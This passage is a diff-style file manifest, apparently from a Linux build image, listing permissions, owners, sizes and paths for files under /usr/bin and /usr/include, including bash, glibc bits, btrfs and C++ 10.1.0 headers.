+lrwxrwxrwx root root 22 ./usr/bin/yes -> /usr/bin/yes.coreutils
+-rwxr-xr-x root root 212088 ./usr/bin/zip
+-rwxr-xr-x root root 97872 ./usr/bin/zipcloak
+-rwxr-xr-x root root 2953 ./usr/bin/zipgrep
+-rwxr-xr-x root root 186472 ./usr/bin/zipinfo
+-rwxr-xr-x root root 89448 ./usr/bin/zipnote
+-rwxr-xr-x root root 89456 ./usr/bin/zipsplit
+drwxr-xr-x root root 4096 ./usr/games
+drwxr-xr-x root root 12288 ./usr/include
+drwxr-xr-x root root 4096 ./usr/include/acl
+-rw-r--r-- root root 2611 ./usr/include/acl/libacl.h
+-rw-r--r-- root root 7457 ./usr/include/aio.h
+-rw-r--r-- root root 2032 ./usr/include/aliases.h
+-rw-r--r-- root root 1204 ./usr/include/alloca.h
+-rw-r--r-- root root 14130 ./usr/include/ansidecl.h
+-rw-r--r-- root root 4351 ./usr/include/a.out.h
+-rw-r--r-- root root 25473 ./usr/include/argp.h
+-rw-r--r-- root root 6051 ./usr/include/argz.h
+-rw-r--r-- root root 1731 ./usr/include/ar.h
+drwxr-xr-x root root 4096 ./usr/include/arpa
+-rw-r--r-- root root 3432 ./usr/include/arpa/ftp.h
+-rw-r--r-- root root 4277 ./usr/include/arpa/inet.h
+-rw-r--r-- root root 7041 ./usr/include/arpa/nameser_compat.h
+-rw-r--r-- root root 14195 ./usr/include/arpa/nameser.h
+-rw-r--r-- root root 10263 ./usr/include/arpa/telnet.h
+-rw-r--r-- root root 3051 ./usr/include/arpa/tftp.h
+drwxr-xr-x root root 4096 ./usr/include/asm
+-rw-r--r-- root root 756 ./usr/include/asm/a.out.h
+-rw-r--r-- root root 546 ./usr/include/asm/auxvec.h
+-rw-r--r-- root root 321 ./usr/include/asm/bitsperlong.h
+-rw-r--r-- root root 323 ./usr/include/asm/boot.h
+-rw-r--r-- root root 7757 ./usr/include/asm/bootparam.h
+-rw-r--r-- root root 40 ./usr/include/asm/bpf_perf_event.h
+-rw-r--r-- root root 200 ./usr/include/asm/byteorder.h
+-rw-r--r-- root root 3285 ./usr/include/asm/debugreg.h
+-rw-r--r-- root root 2579 ./usr/include/asm/e820.h
+-rw-r--r-- root root 31 ./usr/include/asm/errno.h
+-rw-r--r-- root root 31 ./usr/include/asm/fcntl.h
+drwxr-xr-x root root 4096 ./usr/include/asm-generic
+-rw-r--r-- root root 218 ./usr/include/asm-generic/auxvec.h
+-rw-r--r-- root root 564 ./usr/include/asm-generic/bitsperlong.h
+-rw-r--r-- root root 238 ./usr/include/asm-generic/bpf_perf_event.h
+-rw-r--r-- root root 1612 ./usr/include/asm-generic/errno-base.h
+-rw-r--r-- root root 5648 ./usr/include/asm-generic/errno.h
+-rw-r--r-- root root 5423 ./usr/include/asm-generic/fcntl.h
+-rw-r--r-- root root 1740 ./usr/include/asm-generic/hugetlb_encode.h
+-rw-r--r-- root root 718 ./usr/include/asm-generic/int-l64.h
+-rw-r--r-- root root 864 ./usr/include/asm-generic/int-ll64.h
+-rw-r--r-- root root 3478 ./usr/include/asm-generic/ioctl.h
+-rw-r--r-- root root 3987 ./usr/include/asm-generic/ioctls.h
+-rw-r--r-- root root 1003 ./usr/include/asm-generic/ipcbuf.h
+-rw-r--r-- root root 96 ./usr/include/asm-generic/kvm_para.h
+-rw-r--r-- root root 3417 ./usr/include/asm-generic/mman-common.h
+-rw-r--r-- root root 740 ./usr/include/asm-generic/mman.h
+-rw-r--r-- root root 1618 ./usr/include/asm-generic/msgbuf.h
+-rw-r--r-- root root 353 ./usr/include/asm-generic/param.h
+-rw-r--r-- root root 878 ./usr/include/asm-generic/poll.h
+-rw-r--r-- root root 2331 ./usr/include/asm-generic/posix_types.h
+-rw-r--r-- root root 1872 ./usr/include/asm-generic/resource.h
+-rw-r--r-- root root 1550 ./usr/include/asm-generic/sembuf.h
+-rw-r--r-- root root 190 ./usr/include/asm-generic/setup.h
+-rw-r--r-- root root 1837 ./usr/include/asm-generic/shmbuf.h
+-rw-r--r-- root root 9969 ./usr/include/asm-generic/siginfo.h
+-rw-r--r-- root root 800 ./usr/include/asm-generic/signal-defs.h
+-rw-r--r-- root root 2709 ./usr/include/asm-generic/signal.h
+-rw-r--r-- root root 3538 ./usr/include/asm-generic/socket.h
+-rw-r--r-- root root 447 ./usr/include/asm-generic/sockios.h
+-rw-r--r-- root root 1839 ./usr/include/asm-generic/statfs.h
+-rw-r--r-- root root 2633 ./usr/include/asm-generic/stat.h
+-rw-r--r-- root root 502 ./usr/include/asm-generic/swab.h
+-rw-r--r-- root root 4716 ./usr/include/asm-generic/termbits.h
+-rw-r--r-- root root 1377 ./usr/include/asm-generic/termios.h
+-rw-r--r-- root root 233 ./usr/include/asm-generic/types.h
+-rw-r--r-- root root 357 ./usr/include/asm-generic/ucontext.h
+-rw-r--r-- root root 30377 ./usr/include/asm-generic/unistd.h
+-rw-r--r-- root root 69 ./usr/include/asm/hw_breakpoint.h
+-rw-r--r-- root root 198 ./usr/include/asm/hwcap2.h
+-rw-r--r-- root root 31 ./usr/include/asm/ioctl.h
+-rw-r--r-- root root 32 ./usr/include/asm/ioctls.h
+-rw-r--r-- root root 32 ./usr/include/asm/ipcbuf.h
+-rw-r--r-- root root 854 ./usr/include/asm/ist.h
+-rw-r--r-- root root 9244 ./usr/include/asm/kvm.h
+-rw-r--r-- root root 3341 ./usr/include/asm/kvm_para.h
+-rw-r--r-- root root 388 ./usr/include/asm/kvm_perf.h
+-rw-r--r-- root root 1306 ./usr/include/asm/ldt.h
+-rw-r--r-- root root 1688 ./usr/include/asm/mce.h
+-rw-r--r-- root root 1002 ./usr/include/asm/mman.h
+-rw-r--r-- root root 1053 ./usr/include/asm/msgbuf.h
+-rw-r--r-- root root 346 ./usr/include/asm/msr.h
+-rw-r--r-- root root 4225 ./usr/include/asm/mtrr.h
+-rw-r--r-- root root 31 ./usr/include/asm/param.h
+-rw-r--r-- root root 1403 ./usr/include/asm/perf_regs.h
+-rw-r--r-- root root 30 ./usr/include/asm/poll.h
+-rw-r--r-- root root 765 ./usr/include/asm/posix_types_32.h
+-rw-r--r-- root root 609 ./usr/include/asm/posix_types_64.h
+-rw-r--r-- root root 224 ./usr/include/asm/posix_types.h
+-rw-r--r-- root root 581 ./usr/include/asm/posix_types_x32.h
+-rw-r--r-- root root 418 ./usr/include/asm/prctl.h
+-rw-r--r-- root root 6623 ./usr/include/asm/processor-flags.h
+-rw-r--r-- root root 2037 ./usr/include/asm/ptrace-abi.h
+-rw-r--r-- root root 1495 ./usr/include/asm/ptrace.h
+-rw-r--r-- root root 34 ./usr/include/asm/resource.h
+-rw-r--r-- root root 1045 ./usr/include/asm/sembuf.h
+-rw-r--r-- root root 6 ./usr/include/asm/setup.h
+-rw-r--r-- root root 1258 ./usr/include/asm/shmbuf.h
+-rw-r--r-- root root 271 ./usr/include/asm/sigcontext32.h
+-rw-r--r-- root root 9724 ./usr/include/asm/sigcontext.h
+-rw-r--r-- root root 422 ./usr/include/asm/siginfo.h
+-rw-r--r-- root root 2901 ./usr/include/asm/signal.h
+-rw-r--r-- root root 32 ./usr/include/asm/socket.h
+-rw-r--r-- root root 33 ./usr/include/asm/sockios.h
+-rw-r--r-- root root 416 ./usr/include/asm/statfs.h
+-rw-r--r-- root root 3131 ./usr/include/asm/stat.h
+-rw-r--r-- root root 7068 ./usr/include/asm/svm.h
+-rw-r--r-- root root 724 ./usr/include/asm/swab.h
+-rw-r--r-- root root 34 ./usr/include/asm/termbits.h
+-rw-r--r-- root root 33 ./usr/include/asm/termios.h
+-rw-r--r-- root root 31 ./usr/include/asm/types.h
+-rw-r--r-- root root 2117 ./usr/include/asm/ucontext.h
+-rw-r--r-- root root 11475 ./usr/include/asm/unistd_32.h
+-rw-r--r-- root root 9286 ./usr/include/asm/unistd_64.h
+-rw-r--r-- root root 361 ./usr/include/asm/unistd.h
+-rw-r--r-- root root 16367 ./usr/include/asm/unistd_x32.h
+-rw-r--r-- root root 3118 ./usr/include/asm/vm86.h
+-rw-r--r-- root root 7032 ./usr/include/asm/vmx.h
+-rw-r--r-- root root 263 ./usr/include/asm/vsyscall.h
+-rw-r--r-- root root 4562 ./usr/include/assert.h
+drwxr-xr-x root root 4096 ./usr/include/attr
+-rw-r--r-- root root 8010 ./usr/include/attr/attributes.h
+-rw-r--r-- root root 1569 ./usr/include/attr/error_context.h
+-rw-r--r-- root root 1411 ./usr/include/attr/libattr.h
+drwxr-xr-x root root 4096 ./usr/include/bash
+-rw-r--r-- root root 2225 ./usr/include/bash/alias.h
+-rw-r--r-- root root 3561 ./usr/include/bash/arrayfunc.h
+-rw-r--r-- root root 4172 ./usr/include/bash/array.h
+-rw-r--r-- root root 2302 ./usr/include/bash/assoc.h
+-rw-r--r-- root root 1262 ./usr/include/bash/bashansi.h
+-rw-r--r-- root root 1462 ./usr/include/bash/bashintl.h
+-rw-r--r-- root root 1646 ./usr/include/bash/bashjmp.h
+-rw-r--r-- root root 1086 ./usr/include/bash/bashtypes.h
+drwxr-xr-x root root 4096 ./usr/include/bash/builtins
+-rw-r--r-- root root 1263 ./usr/include/bash/builtins/bashgetopt.h
+-rw-r--r-- root root 6715 ./usr/include/bash/builtins/builtext.h
+-rw-r--r-- root root 8372 ./usr/include/bash/builtins/common.h
+-rw-r--r-- root root 2582 ./usr/include/bash/builtins/getopt.h
+-rw-r--r-- root root 2373 ./usr/include/bash/builtins.h
+-rw-r--r-- root root 15490 ./usr/include/bash/command.h
+-rw-r--r-- root root 6514 ./usr/include/bash/config-bot.h
+-rw-r--r-- root root 32166 ./usr/include/bash/config.h
+-rw-r--r-- root root 7436 ./usr/include/bash/config-top.h
+-rw-r--r-- root root 1709 ./usr/include/bash/conftypes.h
+-rw-r--r-- root root 1397 ./usr/include/bash/dispose_cmd.h
+-rw-r--r-- root root 3053 ./usr/include/bash/error.h
+-rw-r--r-- root root 18999 ./usr/include/bash/externs.h
+-rw-r--r-- root root 11828 ./usr/include/bash/general.h
+-rw-r--r-- root root 3036 ./usr/include/bash/hashlib.h
+drwxr-xr-x root root 4096 ./usr/include/bash/include
+-rw-r--r-- root root 1437 ./usr/include/bash/include/ansi_stdlib.h
+-rw-r--r-- root root 4125 ./usr/include/bash/include/chartypes.h
+-rw-r--r-- root root 1581 ./usr/include/bash/include/filecntl.h
+-rw-r--r-- root root 3014 ./usr/include/bash/include/gettext.h
+-rw-r--r-- root root 2113 ./usr/include/bash/include/maxpath.h
+-rw-r--r-- root root 1994 ./usr/include/bash/include/memalloc.h
+-rw-r--r-- root root 3669 ./usr/include/bash/include/ocache.h
+-rw-r--r-- root root 2305 ./usr/include/bash/include/posixdir.h
+-rw-r--r-- root root 1407 ./usr/include/bash/include/posixjmp.h
+-rw-r--r-- root root 4318 ./usr/include/bash/include/posixstat.h
+-rw-r--r-- root root 1509 ./usr/include/bash/include/posixtime.h
+-rw-r--r-- root root 3068 ./usr/include/bash/include/posixwait.h
+-rw-r--r-- root root 4319 ./usr/include/bash/include/shmbchar.h
+-rw-r--r-- root root 13847 ./usr/include/bash/include/shmbutil.h
+-rw-r--r-- root root 3636 ./usr/include/bash/include/shtty.h
+-rw-r--r-- root root 6088 ./usr/include/bash/include/stat-time.h
+-rw-r--r-- root root 2652 ./usr/include/bash/include/stdc.h
+-rw-r--r-- root root 1778 ./usr/include/bash/include/systimes.h
+-rw-r--r-- root root 2890 ./usr/include/bash/include/typemax.h
+-rw-r--r-- root root 2973 ./usr/include/bash/include/unionwait.h
+-rw-r--r-- root root 9640 ./usr/include/bash/jobs.h
+-rw-r--r-- root root 2960 ./usr/include/bash/make_cmd.h
+-rw-r--r-- root root 1208 ./usr/include/bash/pathnames.h
+-rw-r--r-- root root 2541 ./usr/include/bash/quit.h
+-rw-r--r-- root root 5957 ./usr/include/bash/shell.h
+-rw-r--r-- root root 4485 ./usr/include/bash/sig.h
+-rw-r--r-- root root 1544 ./usr/include/bash/siglist.h
+-rw-r--r-- root root 247 ./usr/include/bash/signames.h
+-rw-r--r-- root root 15184 ./usr/include/bash/subst.h
+-rw-r--r-- root root 3544 ./usr/include/bash/syntax.h
+-rw-r--r-- root root 2003 ./usr/include/bash/unwind_prot.h
+-rw-r--r-- root root 17643 ./usr/include/bash/variables.h
+-rw-r--r-- root root 579 ./usr/include/bash/version.h
+-rw-r--r-- root root 1759 ./usr/include/bash/xmalloc.h
+-rw-r--r-- root root 255175 ./usr/include/bfd-64.h
+-rw-r--r-- root root 500 ./usr/include/bfd.h
+-rw-r--r-- root root 35620 ./usr/include/bfdlink.h
+-rw-r--r-- root root 848 ./usr/include/bfd_stdint.h
+drwxr-xr-x root root 4096 ./usr/include/bits
+-rw-r--r-- root root 268 ./usr/include/bits/a.out.h
+-rw-r--r-- root root 1010 ./usr/include/bits/argp-ldbl.h
+-rw-r--r-- root root 2450 ./usr/include/bits/byteswap.h
+-rw-r--r-- root root 4139 ./usr/include/bits/cmathcalls.h
+-rw-r--r-- root root 23709 ./usr/include/bits/confname.h
+-rw-r--r-- root root 4516 ./usr/include/bits/cpu-set.h
+-rw-r--r-- root root 1275 ./usr/include/bits/dirent_ext.h
+-rw-r--r-- root root 1771 ./usr/include/bits/dirent.h
+-rw-r--r-- root root 2521 ./usr/include/bits/dlfcn.h
+-rw-r--r-- root root 426 ./usr/include/bits/elfclass.h
+-rw-r--r-- root root 1905 ./usr/include/bits/endian.h
+-rw-r--r-- root root 273 ./usr/include/bits/endianness-64.h
+-rw-r--r-- root root 548 ./usr/include/bits/endianness.h
+-rw-r--r-- root root 3791 ./usr/include/bits/environments.h
+-rw-r--r-- root root 1071 ./usr/include/bits/epoll.h
+-rw-r--r-- root root 1148 ./usr/include/bits/err-ldbl.h
+-rw-r--r-- root root 1426 ./usr/include/bits/errno.h
+-rw-r--r-- root root 2684 ./usr/include/bits/error.h
+-rw-r--r-- root root 1012 ./usr/include/bits/error-ldbl.h
+-rw-r--r-- root root 1129 ./usr/include/bits/eventfd.h
+-rw-r--r-- root root 5575 ./usr/include/bits/fcntl2.h
+-rw-r--r-- root root 2246 ./usr/include/bits/fcntl.h
+-rw-r--r-- root root 13995 ./usr/include/bits/fcntl-linux.h
+-rw-r--r-- root root 4611 ./usr/include/bits/fenv.h
+-rw-r--r-- root root 190 ./usr/include/bits/fenvinline.h
+-rw-r--r-- root root 4373 ./usr/include/bits/floatn-64.h
+-rw-r--r-- root root 9765 ./usr/include/bits/floatn-common.h
+-rw-r--r-- root root 532 ./usr/include/bits/floatn.h
+-rw-r--r-- root root 1215 ./usr/include/bits/flt-eval-method.h
+-rw-r--r-- root root 1216 ./usr/include/bits/fp-fast.h
+-rw-r--r-- root root 1012 ./usr/include/bits/fp-logb.h
+-rw-r--r-- root root 3667 ./usr/include/bits/getopt_core.h
+-rw-r--r-- root root 3038 ./usr/include/bits/getopt_ext.h
+-rw-r--r-- root root 1810 ./usr/include/bits/getopt_posix.h
+-rw-r--r-- root root 972 ./usr/include/bits/hwcap.h
+-rw-r--r-- root root 1591 ./usr/include/bits/indirect-return.h
+-rw-r--r-- root root 9534 ./usr/include/bits/in.h
+-rw-r--r-- root root 25 ./usr/include/bits/initspin.h
+-rw-r--r-- root root 1080 ./usr/include/bits/inotify.h
+-rw-r--r-- root root 4478 ./usr/include/bits/ioctls.h
+-rw-r--r-- root root 2456 ./usr/include/bits/ioctl-types.h
+-rw-r--r-- root root 1523 ./usr/include/bits/ipc.h
+-rw-r--r-- root root 1745 ./usr/include/bits/ipc-perm.h
+-rw-r--r-- root root 1176 ./usr/include/bits/ipctypes.h
+-rw-r--r-- root root 2479 ./usr/include/bits/iscanonical.h
+-rw-r--r-- root root 3288 ./usr/include/bits/libc-header-start.h
+-rw-r--r-- root root 3004 ./usr/include/bits/libm-simd-decl-stubs.h
+-rw-r--r-- root root 4286 ./usr/include/bits/link.h
+-rw-r--r-- root root 1368 ./usr/include/bits/locale.h
+-rw-r--r-- root root 3185 ./usr/include/bits/local_lim.h
+-rw-r--r-- root root 962 ./usr/include/bits/long-double-64.h
+-rw-r--r-- root root 552 ./usr/include/bits/long-double.h
+-rw-r--r-- root root 13210 ./usr/include/bits/mathcalls.h
+-rw-r--r-- root root 1765 ./usr/include/bits/mathcalls-helper-functions.h
+-rw-r--r-- root root 1312 ./usr/include/bits/mathcalls-narrow.h
+-rw-r--r-- root root 891 ./usr/include/bits/mathdef.h
+-rw-r--r-- root root 337 ./usr/include/bits/mathinline.h
+-rw-r--r-- root root 2308 ./usr/include/bits/math-vector.h
+-rw-r--r-- root root 1309 ./usr/include/bits/mman.h
+-rw-r--r-- root root 4911 ./usr/include/bits/mman-linux.h
+-rw-r--r-- root root 1997 ./usr/include/bits/mman-map-flags-generic.h
+-rw-r--r-- root root 2813 ./usr/include/bits/mman-shared.h
+-rw-r--r-- root root 1047 ./usr/include/bits/monetary-ldbl.h
+-rw-r--r-- root root 2151 ./usr/include/bits/mqueue2.h
+-rw-r--r-- root root 1246 ./usr/include/bits/mqueue.h
+-rw-r--r-- root root 2818 ./usr/include/bits/msq.h
+-rw-r--r-- root root 1283 ./usr/include/bits/msq-pad.h
+-rw-r--r-- root root 1264 ./usr/include/bits/netdb.h
+-rw-r--r-- root root 1433 ./usr/include/bits/param.h
+-rw-r--r-- root root 2937 ./usr/include/bits/poll2.h
+-rw-r--r-- root root 2076 ./usr/include/bits/poll.h
+-rw-r--r-- root root 5189 ./usr/include/bits/posix1_lim.h
+-rw-r--r-- root root 2867 ./usr/include/bits/posix2_lim.h
+-rw-r--r-- root root 5913 ./usr/include/bits/posix_opt.h
+-rw-r--r-- root root 992 ./usr/include/bits/printf-ldbl.h
+-rw-r--r-- root root 963 ./usr/include/bits/procfs-extra.h
+-rw-r--r-- root root 2025 ./usr/include/bits/procfs.h
+-rw-r--r-- root root 1148 ./usr/include/bits/procfs-id.h
+-rw-r--r-- root root 1050 ./usr/include/bits/procfs-prregset.h
+-rw-r--r-- root root 1838 ./usr/include/bits/pthreadtypes-arch.h
+-rw-r--r-- root root 3072 ./usr/include/bits/pthreadtypes.h
+-rw-r--r-- root root 4091 ./usr/include/bits/ptrace-shared.h
+-rw-r--r-- root root 6299 ./usr/include/bits/resource.h
+-rw-r--r-- root root 3947 ./usr/include/bits/sched.h
+-rw-r--r-- root root 1438 ./usr/include/bits/select2.h
+-rw-r--r-- root root 2106 ./usr/include/bits/select.h
+-rw-r--r-- root root 1238 ./usr/include/bits/semaphore.h
+-rw-r--r-- root root 2905 ./usr/include/bits/sem.h
+-rw-r--r-- root root 1019 ./usr/include/bits/sem-pad.h
+-rw-r--r-- root root 1705 ./usr/include/bits/setjmp2.h
+-rw-r--r-- root root 1287 ./usr/include/bits/setjmp.h
+-rw-r--r-- root root 3872 ./usr/include/bits/shm.h
+-rw-r--r-- root root 1106 ./usr/include/bits/shmlba.h
+-rw-r--r-- root root 1668 ./usr/include/bits/shm-pad.h
+-rw-r--r-- root root 2935 ./usr/include/bits/sigaction.h
+-rw-r--r-- root root 4266 ./usr/include/bits/sigcontext.h
+-rw-r--r-- root root 1471 ./usr/include/bits/sigevent-consts.h
+-rw-r--r-- root root 729 ./usr/include/bits/siginfo-arch.h
+-rw-r--r-- root root 204 ./usr/include/bits/siginfo-consts-arch.h
+-rw-r--r-- root root 6855 ./usr/include/bits/siginfo-consts.h
+-rw-r--r-- root root 1285 ./usr/include/bits/signal_ext.h
+-rw-r--r-- root root 1067 ./usr/include/bits/signalfd.h
+-rw-r--r-- root root 4341 ./usr/include/bits/signum-generic.h
+-rw-r--r-- root root 1634 ./usr/include/bits/signum.h
+-rw-r--r-- root root 1168 ./usr/include/bits/sigstack.h
+-rw-r--r-- root root 1692 ./usr/include/bits/sigthread.h
+-rw-r--r-- root root 1514 ./usr/include/bits/sockaddr.h
+-rw-r--r-- root root 3026 ./usr/include/bits/socket2.h
+-rw-r--r-- root root 1318 ./usr/include/bits/socket-constants.h
+-rw-r--r-- root root 12261 ./usr/include/bits/socket.h
+-rw-r--r-- root root 2216 ./usr/include/bits/socket_type.h
+-rw-r--r-- root root 1188 ./usr/include/bits/ss_flags.h
+-rw-r--r-- root root 9040 ./usr/include/bits/stab.def
+-rw-r--r-- root root 1917 ./usr/include/bits/statfs.h
+-rw-r--r-- root root 7620 ./usr/include/bits/stat.h
+-rw-r--r-- root root 3423 ./usr/include/bits/statvfs.h
+-rw-r--r-- root root 2050 ./usr/include/bits/statx-generic.h
+-rw-r--r-- root root 1400 ./usr/include/bits/statx.h
+-rw-r--r-- root root 1037 ./usr/include/bits/stdint-intn.h
+-rw-r--r-- root root 1049 ./usr/include/bits/stdint-uintn.h
+-rw-r--r-- root root 12679 ./usr/include/bits/stdio2.h
+-rw-r--r-- root root 5584 ./usr/include/bits/stdio.h
+-rw-r--r-- root root 2843 ./usr/include/bits/stdio-ldbl.h
+-rw-r--r-- root root 1213 ./usr/include/bits/stdio_lim.h
+-rw-r--r-- root root 1378 ./usr/include/bits/stdlib-bsearch.h
+-rw-r--r-- root root 1115 ./usr/include/bits/stdlib-float.h
+-rw-r--r-- root root 5659 ./usr/include/bits/stdlib.h
+-rw-r--r-- root root 1377 ./usr/include/bits/stdlib-ldbl.h
+-rw-r--r-- root root 4314 ./usr/include/bits/string_fortified.h
+-rw-r--r-- root root 1209 ./usr/include/bits/strings_fortified.h
+-rw-r--r-- root root 1810 ./usr/include/bits/struct_mutex.h
+-rw-r--r-- root root 2027 ./usr/include/bits/struct_rwlock-64.h
+-rw-r--r-- root root 560 ./usr/include/bits/struct_rwlock.h
+-rw-r--r-- root root 44103 ./usr/include/bits/syscall-64.h
+-rw-r--r-- root root 536 ./usr/include/bits/syscall.h
+-rw-r--r-- root root 899 ./usr/include/bits/sysctl.h
+-rw-r--r-- root root 1216 ./usr/include/bits/sys_errlist.h
+-rw-r--r-- root root 1685 ./usr/include/bits/syslog.h
+-rw-r--r-- root root 1206 ./usr/include/bits/syslog-ldbl.h
+-rw-r--r-- root root 1061 ./usr/include/bits/syslog-path.h
+-rw-r--r-- root root 2953 ./usr/include/bits/sysmacros.h
+-rw-r--r-- root root 1824 ./usr/include/bits/termios-baud.h
+-rw-r--r-- root root 1279 ./usr/include/bits/termios-c_cc.h
+-rw-r--r-- root root 1230 ./usr/include/bits/termios-c_cflag.h
+-rw-r--r-- root root 1936 ./usr/include/bits/termios-c_iflag.h
+-rw-r--r-- root root 2594 ./usr/include/bits/termios-c_lflag.h
+-rw-r--r-- root root 2822 ./usr/include/bits/termios-c_oflag.h
+-rw-r--r-- root root 2168 ./usr/include/bits/termios.h
+-rw-r--r-- root root 969 ./usr/include/bits/termios-misc.h
+-rw-r--r-- root root 1433 ./usr/include/bits/termios-struct.h
+-rw-r--r-- root root 1062 ./usr/include/bits/termios-tcflow.h
+-rw-r--r-- root root 3982 ./usr/include/bits/thread-shared-types.h
+-rw-r--r-- root root 1340 ./usr/include/bits/time64.h
+-rw-r--r-- root root 2999 ./usr/include/bits/time.h
+-rw-r--r-- root root 1103 ./usr/include/bits/timerfd.h
+-rw-r--r-- root root 1081 ./usr/include/bits/timesize.h
+-rw-r--r-- root root 4596 ./usr/include/bits/timex.h
+drwxr-xr-x root root 4096 ./usr/include/bits/types
+-rw-r--r-- root root 174 ./usr/include/bits/types/clockid_t.h
+-rw-r--r-- root root 143 ./usr/include/bits/types/clock_t.h
+-rw-r--r-- root root 2725 ./usr/include/bits/types/cookie_io_functions_t.h
+-rw-r--r-- root root 894 ./usr/include/bits/types/error_t.h
+-rw-r--r-- root root 110 ./usr/include/bits/types/__FILE.h
+-rw-r--r-- root root 180 ./usr/include/bits/types/FILE.h
+-rw-r--r-- root root 410 ./usr/include/bits/types/__fpos64_t.h
+-rw-r--r-- root root 381 ./usr/include/bits/types/__fpos_t.h
+-rw-r--r-- root root 8757 ./usr/include/bits/types.h
+-rw-r--r-- root root 3546 ./usr/include/bits/typesizes.h
+-rw-r--r-- root root 1722 ./usr/include/bits/types/__locale_t.h
+-rw-r--r-- root root 983 ./usr/include/bits/types/locale_t.h
+-rw-r--r-- root root 564 ./usr/include/bits/types/__mbstate_t.h
+-rw-r--r-- root root 135 ./usr/include/bits/types/mbstate_t.h
+-rw-r--r-- root root 2009 ./usr/include/bits/types/res_state.h
+-rw-r--r-- root root 272 ./usr/include/bits/types/sig_atomic_t.h
+-rw-r--r-- root root 1204 ./usr/include/bits/types/sigevent_t.h
+-rw-r--r-- root root 3892 ./usr/include/bits/types/siginfo_t.h
+-rw-r--r-- root root 206 ./usr/include/bits/types/__sigset_t.h
+-rw-r--r-- root root 195 ./usr/include/bits/types/sigset_t.h
+-rw-r--r-- root root 1148 ./usr/include/bits/types/__sigval_t.h
+-rw-r--r-- root root 599 ./usr/include/bits/types/sigval_t.h
+-rw-r--r-- root root 1062 ./usr/include/bits/types/stack_t.h
+-rw-r--r-- root root 4104 ./usr/include/bits/types/struct_FILE.h
+-rw-r--r-- root root 1066 ./usr/include/bits/types/struct_iovec.h
+-rw-r--r-- root root 288 ./usr/include/bits/types/struct_itimerspec.h
+-rw-r--r-- root root 274 ./usr/include/bits/types/struct_osockaddr.h
+-rw-r--r-- root root 4121 ./usr/include/bits/types/struct_rusage.h
+-rw-r--r-- root root 1073 ./usr/include/bits/types/struct_sched_param.h
+-rw-r--r-- root root 1073 ./usr/include/bits/types/struct_sigstack.h
+-rw-r--r-- root root 1897 ./usr/include/bits/types/struct_statx.h
+-rw-r--r-- root root 1202 ./usr/include/bits/types/struct_statx_timestamp.h
+-rw-r--r-- root root 728 ./usr/include/bits/types/struct_timespec.h
+-rw-r--r-- root root 287 ./usr/include/bits/types/struct_timeval.h
+-rw-r--r-- root root 760 ./usr/include/bits/types/struct_tm.h
+-rw-r--r-- root root 159 ./usr/include/bits/types/timer_t.h
+-rw-r--r-- root root 138 ./usr/include/bits/types/time_t.h
+-rw-r--r-- root root 796 ./usr/include/bits/types/wint_t.h
+-rw-r--r-- root root 1542 ./usr/include/bits/uintn-identity.h
+-rw-r--r-- root root 1923 ./usr/include/bits/uio-ext.h
+-rw-r--r-- root root 1385 ./usr/include/bits/uio_lim.h
+-rw-r--r-- root root 1613 ./usr/include/bits/unistd_ext.h
+-rw-r--r-- root root 13316 ./usr/include/bits/unistd.h
+-rw-r--r-- root root 4067 ./usr/include/bits/utmp.h
+-rw-r--r-- root root 3578 ./usr/include/bits/utmpx.h
+-rw-r--r-- root root 1213 ./usr/include/bits/utsname.h
+-rw-r--r-- root root 1697 ./usr/include/bits/waitflags.h
+-rw-r--r-- root root 2287 ./usr/include/bits/waitstatus.h
+-rw-r--r-- root root 20506 ./usr/include/bits/wchar2.h
+-rw-r--r-- root root 1906 ./usr/include/bits/wchar.h
+-rw-r--r-- root root 2251 ./usr/include/bits/wchar-ldbl.h
+-rw-r--r-- root root 6307 ./usr/include/bits/wctype-wchar.h
+-rw-r--r-- root root 442 ./usr/include/bits/wordsize.h
+-rw-r--r-- root root 3858 ./usr/include/bits/xopen_lim.h
+drwxr-xr-x root root 4096 ./usr/include/blkid
+-rw-r--r-- root root 15478 ./usr/include/blkid/blkid.h
+drwxr-xr-x root root 4096 ./usr/include/btrfs
+-rw-r--r-- root root 5045 ./usr/include/btrfs/btrfsck.h
+-rw-r--r-- root root 4670 ./usr/include/btrfs/btrfs-list.h
+-rw-r--r-- root root 1095 ./usr/include/btrfs/crc32c.h
+-rw-r--r-- root root 94261 ./usr/include/btrfs/ctree.h
+-rw-r--r-- root root 3524 ./usr/include/btrfs/extent-cache.h
+-rw-r--r-- root root 6444 ./usr/include/btrfs/extent_io.h
+-rw-r--r-- root root 30105 ./usr/include/btrfs/ioctl.h
+-rw-r--r-- root root 10965 ./usr/include/btrfs/kerncompat.h
+-rw-r--r-- root root 14636 ./usr/include/btrfs/list.h
+-rw-r--r-- root root 3343 ./usr/include/btrfs/radix-tree.h
+-rw-r--r-- root root 2024 ./usr/include/btrfs/raid56.h
+-rw-r--r-- root root 3902 ./usr/include/btrfs/rbtree.h
+-rw-r--r-- root root 3090 ./usr/include/btrfs/send.h
+-rw-r--r-- root root 2803 ./usr/include/btrfs/send-stream.h
+-rw-r--r-- root root 3388 ./usr/include/btrfs/send-utils.h
+-rw-r--r-- root root 1223 ./usr/include/btrfs/sizes.h
+-rw-r--r-- root root 23351 ./usr/include/btrfsutil.h
+-rw-r--r-- root root 363 ./usr/include/btrfs/version.h
+-rw-r--r-- root root 1405 ./usr/include/byteswap.h
+-rw-r--r-- root root 6240 ./usr/include/bzlib.h
+drwxr-xr-x root root 4096 ./usr/include/c++
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0
+-rw-r--r-- root root 3045 ./usr/include/c++/10.1.0/algorithm
+-rw-r--r-- root root 18236 ./usr/include/c++/10.1.0/any
+-rw-r--r-- root root 13700 ./usr/include/c++/10.1.0/array
+-rw-r--r-- root root 45341 ./usr/include/c++/10.1.0/atomic
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/backward
+-rw-r--r-- root root 10804 ./usr/include/c++/10.1.0/backward/auto_ptr.h
+-rw-r--r-- root root 2491 ./usr/include/c++/10.1.0/backward/backward_warning.h
+-rw-r--r-- root root 7167 ./usr/include/c++/10.1.0/backward/binders.h
+-rw-r--r-- root root 4248 ./usr/include/c++/10.1.0/backward/hash_fun.h
+-rw-r--r-- root root 17822 ./usr/include/c++/10.1.0/backward/hash_map
+-rw-r--r-- root root 17323 ./usr/include/c++/10.1.0/backward/hash_set
+-rw-r--r-- root root 33883 ./usr/include/c++/10.1.0/backward/hashtable.h
+-rw-r--r-- root root 7454 ./usr/include/c++/10.1.0/backward/strstream
+-rw-r--r-- root root 11044 ./usr/include/c++/10.1.0/bit
